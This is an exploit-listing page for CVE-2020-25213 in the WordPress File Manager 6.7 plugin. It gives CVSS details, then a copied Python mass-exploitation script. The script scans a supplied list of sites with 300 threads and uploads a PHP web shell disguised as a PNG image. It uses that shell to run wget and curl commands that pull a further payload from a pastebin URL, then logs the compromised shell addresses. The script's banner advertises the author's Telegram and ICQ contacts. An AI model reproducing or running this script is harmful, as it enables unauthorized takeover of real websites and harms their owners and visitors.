Wordpress file manager 6.7 - Remote Code Execution
CVE
Category
Price
Severity
CVE-2020-25213
CWE-78
Not specified
Critical
Author
Risk
Exploitation Type
Date
Beklen
Critical
Remote
2020-09-14
CVSS vector description
Metric
Value
Metric Description
Value Description
Attack vector Network AV The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230). Attack Complexity Low AC The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system. Privileges Required None PR The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack. User Interaction None UI The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges Scope Unchanged S An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances. Confidentiality High C There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data. Integrity High I There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system. Availability High A There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2020090069 Below is a copy:
Wordpress file manager 6.7 - Remote Code Execution #!/usr/bin/env python
# from https://github.com/w4fz5uck5/wp-file-manager-0day
import requests
import os
import sys
import concurrent.futures
import threading
try:
os.mkdir('0xtn-exp')
except:
pass
if os.name == 'nt':
os.system('cls')
else:
os.system('clear')
t = []
def fassa5(i):
if not 'http://' in i and not 'https://' in i:
i = i + 'http://'
exploit(i)
def wp(i):
if 'jQuery Foundation' in requests.get(i + "/wp-includes/js/jquery/jquery.js").text:
return True
if '/wp-inclues/' in requests.get(i).text or '/wp-content' in requests.get(i).text:
return True
else:
return False
linko = "https://pastebin.com/raw/EiKvkrJp"
def uploadshell(i):
m = 'wget ' + linko + ' -O exploitn.php'
m2 = 'curl -O ' + linko + ';mv EiKvkrJp exploixtn.php'
burp0_url = "%s/wp-content/plugins/wp-file-manager/lib/files/x.php?cmd=%s" % (i, m)
burp0_url2 = "%s/wp-content/plugins/wp-file-manager/lib/files/x.php?cmd=%s" % (i, m2)
burp0_headers = {"User-Agent": "curl/7.68.0", "Accept": "*/*", "Expect": "100-continue", "Connection": "close"}
r = requests.get(burp0_url, headers=burp0_headers).content
r2 = requests.get(burp0_url2, headers=burp0_headers).content
if b'\x89PNG\r\n\x1a' in r:
print("\033[92m[+] Upload 2.1 .. Done\n SHELL : %s/wp-content/plugins/wp-file-manager/lib/files/exploitn.php" % i)
open('0xtn-exp/shells.txt', 'a').write(i + "/wp-content/plugins/wp-file-manager/lib/files/exploitn.php\n")
if b'\x89PNG\r\n\x1a' in r2:
print("\033[92m[+] Upload 2.2 .. Done\n SHELL : %s/wp-content/plugins/wp-file-manager/lib/files/exploixtn.php" % i)
open('0xtn-exp/shells.txt', 'a').write(i + "/wp-content/plugins/wp-file-manager/lib/files/exploixtn.php\n")
def exploit(i):
try:
if wp(i): # check if site=wordpress or no +plugin
print("\033[93m" + i + " ==> Wordpress ")
open('0xtn-exp/wordpress.txt', 'a').write(i + '\n')
shell = i + "/wp-content/plugins/wp-file-manager/lib/files/x.php?cmd=uname -a"
burp0_url = "%s/wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php" % i
burp0_headers = {"User-Agent": "curl/7.68.0", "Accept": "*/*", "Content-Type": "multipart/form-data; boundary=------------------------66e3ca93281c7050", "Expect": "100-continue", "Connection": "close"}
burp0_data = "--------------------------66e3ca93281c7050\r\nContent-Disposition: form-data; name=\"cmd\"\r\n\r\nupload\r\n--------------------------66e3ca93281c7050\r\nContent-Disposition: form-data; name=\"target\"\r\n\r\nl1_Lw\r\n--------------------------66e3ca93281c7050\r\nContent-Disposition: form-data; name=\"upload[]\"; filename=\"x.php\"\r\nContent-Type: image/png\r\n\r\n\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR\x00\x00\x01^\x00\x00\x01^\x04\x03\x00\x00\x00?\x05j)\x00\x00\x00\x1ePLTE\xff\xff\xff\xef\xef\xef\xe5\xe5\xe5\xce\xce\xce\xa1\xa1\xa1iiiVVVGGG333\x00\x00\x00g\x00\xcc\xe2\x00\x00\r\xc0IDATx\xda\xed]K[\xdb\xc8\x12m\xc9\xce^\xc6\x90\xbb58\t\xdc\x9dm\x9c\t\xd9\xd9X\x1e\xc2\x8e\x87I\xc22\t!\x93\xe5@xmc\x02\xf1\xda\x0f\xa9\xff\xed]`\xeb\xddVU\xc9C\xb5\xe6\xa2-\xd4\xa7\xf2Q\xe9\xa8\x1fuN\x8b\xdf\xb9\xba\xee\x84\xbc\"^\xd7\x83\xc7\x8f\xbc\x9a\x08\xa7\xb1F\xbb\xaa\x97\xf4\xc8:5\xf2^L,A\xbb\x8cSr\xe4\x055\xd2\xbc\x17\x0eC\xbe\xe4H\xf3NL*\x8f\x8f\xd2i\xbe\xf05Y\xf05\xffM\xf5[*\x95J\xb9\xc1\xb7\xdc\xb4\x8f\xde\x9f\x1e\xf5\xec\x86\x95\x83\xfa\xadv\xff\x92\xd3\xcb\xfd\xba]\xd1\x86\x1f\x92Q2\xeck\x19\xb8\xdc\x93FB\xa4>\xf5[\xde\x91\x91k\xd2\xd1\x18\xdf\xeaG\x19\xbb\xdcCK\xd7\xfa-\x97\x12\x90\xb0.\xfcP>\x9629a-\xf9\xd7\xdc\x95\x8a\xcb\xdd\xd6\x11\xdf\x1d\xa9\xbc&5\xfd\xea\xf7\xe5@\x9d\xaf\xbc\xad\xe8\xc6\x0f\x85c9\xef:\xd0\x8c\x8d\x9d\xb9\xe9J\xa7\xa6\x17\xbe\xcb\x83\xf9\xf9\xca[\xad\xea\xd7\xd8MIW\xba-\x9d\xf8\xe1\x85L\xbdn-}\xf87\x1d^)eK\x1f|\x97\x01\xe9\xfa\x15\xcc_\xbf\x10x\xa5[\xd3\x85\x1f\n\x03H\xbe\xf2\\\x17\xfe}\x03JW\x8e+z\xe0k\x1c\xc3\xf2\x95m=\xea\xb7\x08LW\x8e\xf4\xe0\x87-h\xbe\xd3{1\xf3\xaf\t-\x07)\xf7t\xc0\x17\\\x0eR\xf6u\xa8\xdfux\xbe\x0f\x8b\xb7\xbc\xfc\x00\xfa\x16\x87\xbe\xc9\xbc\xfc\x0b\xfcX<\\\x9f\xf8\xf1E\x94\xef\x94\xd1x\xeb\xf7\r&\xdf\xb1\xc5\xce\x0f\x98\xf2\x95\xb2\xc6\xcd\xbf\xc6wT\xbe\xfb\xdc\xf8\x16P\xe9\xca\x9f\xdc\xf5\xbb\x8c\xcbw\xc4\xcd\x0f\x1b\xb8|\xc7\x163\xff\xbe\xc5\xe5\xeb\xd6x\xf15p\xf4 e\x8b\xb7~\x91\xf4 e\x9b\x97\x1f\xcc\x012\xdf\xbfy\xf9\x17IgR\xf6y\xf1]\xc6\xe6;\xe4\xad\xdfg\xd8|G\x16+?\xac`\xf3\x1d\xf3\xf2\xef::_^|\xb7\xb0\xf9:\x16k\xfd\xbe\xc5\xe6\xebV\xb2\xf0Yf|\xf1\xf9\xd6X\xf1\xc5~\x8e\xa5\xcc\x19\xbe2o\xf8\xd6\x84q\xc9\x87/%_\xf3k\x8e\xf8![=<>\xbe\xcc\xfc@\xe13\xce\xef\x1b\xe5{\xc1\x89\xef\x066\xdf\t/\xffR\xc6;\x9c\xf8\xaeP\xc6\xbf\x8c\xf8\xe2\xc7\xeb\xbc\xf3\x8b\"z>\xc4\x8b\xef#\xcf73\xe3\x8b\x9e\xcf\x12\xac\xf8\x1a\xc7\xc8|\x99\xd7w\x04a=\x8a\x13_\xf4z_\x85\x19\xdfW\xf8\xf5T\xce\xf1/e\xbd\x9as\xfc\x8b%\xb43\xc1\x8c/\x92 \xf6\xd8\xf7\xe7\xf1\xfbY\xbc\xfbo\xaf\xb0\xaf\x1b\xf3\xfe&j\x041\x14\xec\xfb\xc7\xe6\r\"\xdf\x03\xc1\xdf\x1f\xb5\x8b,_\xee\xfe(D\x01?tt1\xf7\x97<f?\xccB\xfa\xa3\x8e1\x83\x1d\r\xfaS\xd7\x11sc\x1d\xf0-\xe2\xca\x81\xbd\xbf\x0f\xbc'\xdb\x8eF\xf2\xe0+\xfe\xc0\xf5{\xb2\xf7\xa7\x16`\x9f\x8c\xcfB\x13|\xc5;\xd0\xcePM\xe8Q\xbfB\x14\x07\xf0\xb7M\x0b}\x00\xe0\x8ds\xeb\xde/\xe5\xd7\xb7,\xa7\x03|+4\xc2\xd7H\xad`\xb7\xb6\x88|\x17\xa6\x1fJ\xad\xe0sK\x11\xc9\x82o*\x07\x8f\x03z'-\xf4\xb1)z\xb2mu$\x0f\xbe\xf3_\xb9\x1f\xd6\x9cH\x16|\x85x\x9d\xfe%\xd6\x86\x1f\x84\x10\xc2Tr\xc4\xa4\x1d\xfe\xa5\x9a\xe8\xbb\x0b\xef@\xf2X}\xfc\t\xca\x1f\x93\xd3]\x9c^z\xc1\xfa\xf9$\x84\x9d\x8e\x05\x88d\xc1W\x88\xa5n\x94%~m\xc7#5\xf2\xd70\x9a\xa1\x9apz\x15h$\x0b\xbeB\x88B\xf3\xc3\x0c\xe3\xbb^\x03\x13\xc9\x81\xaf\x10B\x946\xedn\xf7\xa8kw\xd6p\xbf\x94\x07\xdfi\xceB\xfd\xd7\xbc\xf9\x1b\xe5\xcd'o\xfeFF\xde\xf0\xfd\xf2\xe7rVK\xb4k\xe9\xb4B\x8d\xbc\xa4\xde\xb3p/\xdc\xafG\xb4\xeb\xfd\xe0\xe8\xf1#'B\xdeS\xbd\xf4\xe45\xd5\xbf\xcf\xa5\xde\xf3\xda\x11\x0e\xd9K\xef\x94\x1c\xf9m\x8d\x1ay\x97\xb3\xf7\xed>\x83\x1f\xde\xd3\xf7\xed\xe9\xfb\xf6\xf4}\x8b\xfcimssss\xcd\xcaE\xfd\x1ae\xfb\xfd\xf5@J\xf7\xfe\xc8n\xe8?\xfe-\x07\xad\xf4\xeez\xab\xda\xe0\x9b<\xbfhF\x16/~u,\x8d\xf15^\x0f\xe26o\x15m\xeb\xd7\xf83ie(\xb6\x18\xa0\x0b?$\xa7+e\xcf\xd2\x92\r\xe5Rl\xc4\xaaP\x13|\xd5\xd6t\xee\xbe\x86\xf5[\x9c\xb3\x9d\xeb\xd4\xb5\xe3\x07s\xeef\xe3\xa8\xa2\x1b\xff\xbe\x9e\xbf\xb3t\xa8\x19\xbei\x9b\xfbA/H\x1d\xea\xf7\x1d|#W\x07~H\xdf\xda\x0f:\xff\xf1\xf3/\xa0u\xe2V#|!\x9d\x13>\xc0\xfc\xf5\xfbN\xa2:=\xb8\xf9\x01\xd6\xf9\xe3\xf5\"\xb0\xf3/\xb0\xf7\xf2\xb3&\xf8B\x9b\xc9\xc7\x96\x1e\xf5\x0b\xee\x0cl\xe9<?php system($_GET[\"cmd\"]); ?>\r\n--------------------------66e3ca93281c7050--\r\n"
requests.post(burp0_url, headers=burp0_headers, data=burp0_data)
if 'windows' in str(requests.get(shell).text).lower() or 'linux' in str(requests.get(shell).text).lower():
print("\033[92m[+] Upload 1 .. Done")
open('0xtn-exp/ups.txt', 'a').write(shell + "\n")
uploadshell(i)
else:
print("\033[91m" + i + " ==> Not Wordpress ")
pass
except:
pass
print("""\033[93m
___ _
/ _ \__ _| |_ _ __
| | | \ \/ / __| '_ \
| |_| |> <| |_| | | | Telagram: t.me/exploitn
\___//_/\_\\\__|_| |_| ICQ : icq.im/samaxtn
{a}Mass 0Day Shell Upload {b}- {a}Exploit wp-file-manager {b}6.7
{a}Right {b}: {a}git@w4fz5uck5
{b}[{a}Developer{b}] : {a}Escanor 0xTN
""".format(a="\033[92m", b="\033[94m"))
sites = open(input('\033[94m[\033[92mSites\033[94m]:\033[92m '), 'r').read().splitlines()
try:
with concurrent.futures.ThreadPoolExecutor(300) as executor:
executor.map(fassa5, sites)
except Exception as e:
print(e)
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